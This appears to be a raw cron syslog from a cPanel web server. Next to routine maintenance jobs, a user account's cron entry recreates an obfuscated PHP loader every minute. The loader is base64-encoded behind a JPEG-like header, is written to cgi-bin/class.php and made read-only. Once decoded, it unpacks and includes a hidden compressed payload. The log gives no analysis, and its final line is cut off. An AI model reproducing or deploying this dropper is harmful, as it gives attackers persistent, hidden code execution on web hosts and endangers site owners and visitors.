Sep  4 05:50:01 server CROND[4804]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:51:01 server CROND[5653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:51:01 server CROND[5654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:51:01 server CROND[5655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:52:01 server CROND[6046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:52:01 server CROND[6047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:52:01 server CROND[6049]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  4 05:52:01 server CROND[6048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:53:01 server CROND[6537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:53:01 server CROND[6538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:53:01 server CROND[6539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:54:01 server CROND[6974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:54:01 server CROND[6975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:54:01 server CROND[6976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:55:01 server CROND[7512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 05:55:01 server CROND[7514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:55:01 server CROND[7515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:55:01 server CROND[7516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:55:01 server CROND[7518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:55:01 server CROND[7517]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:55:01 server CROND[7520]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 05:56:01 server CROND[8344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:56:01 server CROND[8345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:56:01 server CROND[8346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:57:01 server CROND[8718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:57:01 server CROND[8719]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 05:57:01 server CROND[8720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:57:01 server CROND[8721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:58:01 server CROND[9097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:58:01 server CROND[9098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:58:01 server CROND[9099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:59:01 server CROND[9478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:59:01 server CROND[9479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:59:01 server CROND[9480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:00:01 server CROND[9957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:00:01 server CROND[9959]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 06:00:01 server CROND[9962]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 06:00:01 server CROND[9965]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 06:00:01 server CROND[9967]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  4 06:00:01 server CROND[9968]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 06:00:01 server CROND[9966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:00:01 server CROND[9964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:00:01 server CROND[9969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:00:01 server CROND[9963]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 06:00:01 server CROND[9970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:01:01 server CROND[10854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:01:01 server CROND[10855]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 06:01:01 server CROND[10853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:01:01 server CROND[10856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:01:01 server run-parts(/etc/cron.hourly)[10855]: starting 0anacron
Sep  4 06:01:01 server run-parts(/etc/cron.hourly)[10875]: finished 0anacron
Sep  4 06:02:01 server CROND[11240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:02:01 server CROND[11241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0Ol